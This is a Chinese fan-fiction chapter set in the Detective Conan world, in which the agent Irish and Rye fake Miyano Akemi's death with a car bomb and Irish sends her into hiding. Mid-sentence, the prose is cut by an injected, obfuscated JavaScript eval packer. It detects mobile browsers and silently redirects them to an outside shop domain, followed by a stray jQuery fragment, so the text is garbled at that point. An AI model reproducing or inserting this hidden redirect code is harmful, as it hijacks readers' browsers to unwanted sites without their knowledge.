热浪将周遭的积雪都融化。
我下意识护住脑袋,红发飞起,还是被爆炸波及,坚持不住的向后退去几步,直到身后有人抵住我的背,让我站稳在原地。
莱伊扶住了我的肩膀。
我勉强抬脸看向他,那双祖母绿色的珍贵双眸也注视着我,在纷飞的热浪与雪花中,一时谁都没说话。
直到爆炸停息,耳边再次浮现嗡鸣。
是本就听的不清晰的耳朵,此时又像被棉花堵住,呼吸都难以逃出。
我像是被扔进千斤重的锁链拴紧,扔进大海,无法挣脱,只能任由自己下坠,耳朵被压力折磨。
“我说了...”
“别。动。她。”
我只能看到那双绿色眼眸中的自己,有些呼吸不上来的样子,脸色差得要命。
莱伊扶着我的肩膀,狙击枪被他背在身后。
哈...哈...我大口喘息着,爆炸的威力剥夺了我片刻的呼吸,此时尘埃落定,白雾又笼起,我才拼命呼吸着这过于刺鼻的冷空气,鼻头大概都红透了。
莱伊看着我,眼神在斟酌,片刻没言语。
我却不由得握紧大衣中的枪...但是莱伊不能死,他绝对不能死。
狠狠咬着下唇,叫自己清醒些。
舌尖舔到些许腥甜。面前男人锋利的眉眼皱起,毫不怜惜的蹭掉我嘴角的血迹。
“既然她只不过是任务对象,死掉你也不会伤心...那由谁杀死都无所谓吧?”沉绿的眸子与我对视,那平静之下,又暗藏汹涌,“还是说...你有别的心思?”
我用力推开他桎梏我下颌的手掌。
两人视线在空气中对峙,带着敌意的试探与怀疑的判断。
喘息着,我避开他的眼,转身看向空旷停车场...
爆炸后的地方,安静的有些诡异。
我皱了皱眉,看到车子被炸的粉碎,迈着步子向那边走去。
车子的方向盘都被炸飞,大概可以判断炸弹被安在驾驶座下面,如果宫野明美真的坐上了车,那她应该早就如落在天际的烟花,炸开后了无踪影。
但车上只有焦黑痕迹,皮革烧焦的味道传来,就连海水的咸味都遮掩不住...
只是这里只有皮革烧坏的味道,没有一点咸腥味,没有一点肉类被火焰炙烤的味道。
我呼吸顿了顿,看向脚下。
竟然是一点红色都没落下。
“哈...”我没忍住骂了一声,瞪眼看向跟在我身后的莱伊,那人见我神情,自然知道我明白了当前情况,从容不迫的点了支烟,眉眼都舒展。
他才没有杀掉宫野明美。
只是在做戏给我看。
福至心灵,我瞬间明白了莱伊的想法。瞬间脱力的坐在地上,掩面吸气。
“莱伊,你这家伙...到底想做什么...!”
莱伊踱步到我身旁,微微弯腰,“我只是想知道,你所想的,和我究竟一不一样。”
...
-莱伊对宫野明美究竟是什么态度?
是真如琴酒命令,要将她赶尽杀绝,还是...
【想留她一命。】
想留她一命。
我舔了舔嘴中腥咸的血,咬着牙看向他。
“你不想她死。”
莱伊不可置否,深秀冷峻的面庞轮廓在浩荡白雾中,眉眼的线条冽出锋芒。
“她往哪里逃了?。”我站起身,看向莱伊,“你制造这么大的混乱想隐藏她的踪迹...总不会没给她留后路吧?”
莱伊抱着手臂看我,突兀一笑,随手向我扔过来一个东西。
我下意识接了住,冰凉的手感让我以为是他用来同归于尽的手榴弹...
摊开手心,发现是一个打火机。
是我一直用的那个,刻着莱伊名字的那个。
“留后路这种事,不是我该考虑的。”莱伊挑眉,看了我一眼,“我说过,我只是来给你帮忙的...”
“如果你真想杀死她,我便帮你处理,如果你...想一如既往的违反琴酒的命令...”他故意拉长了音,转身收起了枪,“那我便制造假象,伪造圈套,让所有人...甚至当事人都信服,直到策划者说出心中真实所想...”
“爱尔兰,主动权始终在你手上。”
我看向他,在风雾中。
“所以,你想让我怎么做,告诉我就好。”
#
落雪。空荡无人的街道。偶尔飘落的早春的花。公路上疾速行驶的黑色英菲尼迪。留存微弱喘息声的车厢。
车窗紧闭,里面是让人难以忽略的血腥气息。
宫野明美咬了咬牙,捂住腹部的伤口,想再加快速度...
轰鸣声从身后传来,她从后视镜看到来人身影。
一头红发在海风中翻滚,如冬日热浪,但尾端已经变成粉红色。
她忽然释然一笑,觉得浑身疼痛都渐消,再无意于逃跑,车子缓缓停在一旁,下面是沙滩,再往里走便是海岸。
那辆不知又是从哪里借来的墨绿色川崎摩托车也减下速度,停在车后面。谁也没有下车。
雪花又落,宫野明美觉得自己眼前开始发晕。
深吸口气,她从不质疑诸星大的判断,无论是从前,还是现在。
...
我看到宫野明美下了车。
她的状态说不上好,似乎是刚刚被爆炸的热浪波及,又没及时躲开,身上被炸开的车子划出大大小小不少伤痕,好像樱花树旁的潺潺小河,流淌着粉红色。
“爱尔兰小姐。”她叫我,“你还是来了。”
我摘下头盔,“你是什么时候见到莱伊的?”
“比见到你早一个小时...其实我当时还奇怪,为什么执行同一个任务,你们两人却没有一起来。”她眯了眯眼,我分不清是吃痛,还是想对我笑一下。
“大君说...你们两个都还没搞清楚对方心思如何,所以干脆分开走...”宫野明美还是笑了下,额角的血划过眼睛,“但是,他并不担心。”
“因为他知道,你们两个最终还是会走回同一条路的。”
我轻笑一下,给枪装上消音器,“他可真有自信。”
“你也真够相信他。”
宫野明美看着我靠近,没再躲闪,干脆坐回了驾驶座,黑发和粘稠的血缠绕一起。
“但是,他说对了。”宫野明美轻咳一声,却还是说,“不然,你也不会再见到我了。”
我微微垂眸,“莱伊刚刚和我说,尽管他可以制造爆炸,伪造你的死亡...但之后你要怎么活?他可没有给你留后路。”
我虽然这么说。
但是,那么优秀的搜查官做事怎么会不留后手?
我看向宫野明美,举起了枪。
“呵,那家伙。”
明明把后路给你铺的坦荡。
宫野明美回望着我,淡然神色。
#
我看着手中照片,尽是血腥画面。
抽着分别前莱伊给我的烟,刚刚借来的摩托没油了,我等着队友过来救援。
下了一天一夜的雪终于停了下来,云层都消散,夕阳在海面上泛起金边。
身边的血迹渗进雪地,变成浅粉色,像是写生画家打翻了颜料,如果画家看到我站在旁边,或许还会问问,这是不是我的染发膏。
轻哼一下,宫野明美的错愕的表情在我脑袋挥之不去。
是在我告诉她,我的想法,我的准备,以及…我真实身份的那时。
虽然我没有联络人,黑田兵卫甚至还在昏迷状态,但他却在我跳楼前,给了我能够使用的物品...
他的亲笔信。
就像念书需要教授
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509382|139903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
推荐信,升职需要长官推荐信一般,那封信寥寥数语,没涉及到什么隐秘信息,却将其重要性完全展现,如果是认识黑田兵卫的人,都会对持有信件的人给予保护与帮助。
我将那封信递给宫野明美,叫她去大阪。
先疗伤,再躲起来。
之后,等我联系。
宫野明美染血的手指迟疑的接过那封信,神色闪过一丝茫然。
“…如果我愿意,我甚至可以用你的真实身份来换回琴酒的信任。”她皱眉看向我,“你就这么轻易告诉我...不害怕我背后捅你一刀吗?”
我给她包扎伤口,闻声回答:“你才不会这么做。”
宫野明美愣了下,忽然想起那天她偷听到面前人和妹妹的对话,也是这么轻易的,将全部信任说出。
她忽然明白,妹妹为什么会对她讲那番话。
也明白了,为什么会不自觉地想去相信面前人。
因为...
在你相信她之前,她早就将全部信任对你展露。
莫名其妙的家伙。
宫野明美看着不停给自己绑紧绷带的红头发,扯了扯嘴角。
“所以,你从开始就计划好要送我走吗?”她问道,“就算差点被我杀死,也从没改变过想法吗?”
“我只想让琴酒相信,我讨厌你的欺骗,也会因此决心将你杀死。”我解释,眼前忽然浮现型男身影,“本以为会是个我单人的任务...没想到莱伊也会一同前来。”
“不过,他的到来,会让你的死亡更具有可信度。”我对她眨眨眼,“毕竟琴酒可是以为,这一切都是我们串通好的叛逃。”
宫野明美也笑了下,扯到伤口,又疼的倒吸口气。
“我哪里值得你们这么大费周章。”她摇摇头,苍白面颊落下一片雪,“无论是爱尔兰小姐,还是大君...为了我费这么大力气,真是抱歉。”
“你当然值得。”终于将最后一处伤口的血止住,我看向宫野明美,也在看向第一个未知的将来,“明美,我需要你。”
“我所希望的未来,需要你的存在。”
她神色渐动,看向我,眼中有水光流动。
“毕竟我们还要一起,帮雪莉离开那个地方呢。”我拉着她的小指,紧紧勾住,像是和她许诺,也像是和自己保证。
宫野明美悄悄侧过脸,手背擦去眼角的泪花。
“抱歉,爱尔兰小姐...我那么对你,刚刚还和你讲了那种话。”
她深吸口气。
“那天,我本来下定决心,要杀了你。”宫野明美摇了摇头,“血液不好收拾,尸体难以处理,会被警察盯上...说实话,你的劝说我都提前考虑过,所以这些话再被你说出时,我没有担忧一点。”
“但是啊,但是...”她昂起头,绸缎般的发丝乱糟无比,像是团枯草,又被鲜血浸透,“看着你胡说八道的样子,我忽然想起志保今年仅有一次的,和我的聊天。”
“她说她梦到有红色丝线将她包裹,从深沉黑水中捞出。丝线纤细,却无比有力。”宫野明美勾了勾唇角,“志保说这个梦的时候,总在若有似无的笑。我当然知道她说的是谁,并且为她交到朋友感到高兴...”
“但她听到我这么说,顿然恢复严肃模样,告诉我绝对不可以这么称呼你...她说,因为琴酒想要控制她,和她关系好的人都会被当作筹码。”
想到妹妹,宫野明美的神色变得温柔起来,如此眼神也落在我身上。
“所以,我当时只是想到,如果杀了你,雪莉会伤心的吧。”她苦笑,看向我,眼神掺杂着复杂神情,有抱歉,有担忧。
尽管无数情绪混合,她被我勾起的小指却始终没有抽离。
“抱歉,爱尔兰小姐。”
手指传来一阵力,是她也回勾住了我的小指。
“之后,就拜托你了。”